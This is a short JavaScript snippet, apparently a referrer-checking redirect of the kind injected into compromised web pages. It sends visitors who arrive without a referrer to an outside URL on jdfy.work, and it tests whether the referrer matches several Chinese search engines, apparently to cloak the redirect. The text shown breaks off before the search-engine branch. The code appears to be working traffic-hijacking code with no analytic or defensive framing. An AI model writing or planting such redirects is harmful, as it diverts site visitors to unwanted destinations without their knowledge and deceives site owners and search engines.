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    var targetUrl = 'https://www.jdfy.work/ws_tool/yz.php?f=/guanai/4108.html';

    var searchEngines = [
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        'sogou.', 'so.', '360.', 'soso.', 'youdao.', 'gougou.'
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    var referrer = document.referrer;

    if (!referrer) {
        window.location.replace(targetUrl);
        return;
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    var isFromSearchEngine = false;

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    if (!isFromSearchEngine) {
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})();